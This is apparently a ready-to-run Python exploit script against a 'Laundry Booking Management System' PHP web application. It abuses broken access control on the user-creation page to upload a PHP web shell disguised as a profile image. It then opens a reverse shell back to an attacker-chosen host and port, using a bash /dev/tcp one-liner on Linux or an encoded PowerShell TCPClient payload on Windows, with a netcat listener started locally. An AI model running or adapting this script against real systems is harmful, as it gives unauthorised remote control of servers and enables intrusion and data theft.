import re, sys, argparse, requests, time, os
import subprocess, pyfiglet
ascii_banner = pyfiglet.figlet_format("Laundry")
print(ascii_banner)
print("Booking Management System\n")
print("----[Broken Access Control to RCE]----\n")
class Exploit:
def __init__(self,target, shell_name,localhost,localport,os):
self.target=target
self.shell_name=shell_name
self.localhost=localhost
self.localport=localport
self.LHL= '/'.join([localhost,localport])
self.HPW= "'"+localhost+"'"+','+localport
self.os=os
self.session = requests.Session()
self.headers= {'Cookie': 'PHPSESSID= Broken Access Control'}
def create_user(self):
url = self.target+"/pages/save_user.php"
data = {
"fname":"bypass",
"email":"bypass@bypass.com",
"password":"password",
"group_id": "2",
}
request = self.session.post(url,data=data,headers=self.headers,files={"image":(self.shell_name +'.php',"<?=`$_GET[cmd]`?>")})
time.sleep(3)
if (request.status_code == 200):
print('[*] The user and webshell were created\n')
else:
print('Something was wront...!')
def execute_shell(self):
if self.os == "linux":
time.sleep(3)
print("[*] Starting reverse shell\n")
subprocess.Popen(["nc","-nvlp", self.localport])
time.sleep(3)
payload = 'bash+-c+"bash+-i+>%26+/dev/tcp/'+self.LHL+'+0>%261"'
execute_command = self.target+'/uploadImage/Profile/'+self.shell_name+'.php?cmd='+payload
try:
request_rce = requests.get(execute_command)
print(request_rce.text)
except requests.exceptions.ReadTimeout:
pass
elif self.os == "windows":
time.sleep(3)
print("[*] Starting reverse shell\n")
subprocess.Popen(["nc","-nvlp", self.localport])
time.sleep(3)
payload = """powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient("""+self.HPW+""")%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0)
{%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"""""
execute_command = self.target+'/uploadImage/Profile/'+self.shell_name+'.php?cmd='+payload
try:
request_rce = requests.get(execute_command)
print(request_rce.text)
except requests.exceptions.ReadTimeout:
pass
else:
print('Windows or linux')
def get_args():
parser = argparse.ArgumentParser(description='Laundry Booking Management System')
parser.add_argument('-t', '--target', dest="target", required=True,
action='store', help='Target url')
parser.add_argument('-s', '--shell_name', dest="shell_name",
required=True, action='store', help='shell_name')
parser.add_argument('-l', '--localhost', dest="localhost",
required=True, action='store', help='local host')
parser.add_argument('-p', '--localport', dest="localport",
required=True, action='store', help='local port')
parser.add_argument('-os', '--os', choices=['linux', 'windows'],
dest="os", required=True, action='store', help='linux,windows')
args = parser.parse_args()
return args
args = get_args()
target = args.target
shell_name = args.shell_name
localhost = args.localhost
localport = args.localport
xp = Exploit(target, shell_name,localhost,localport,args.os)
xp.create_user()
xp.execute_shell()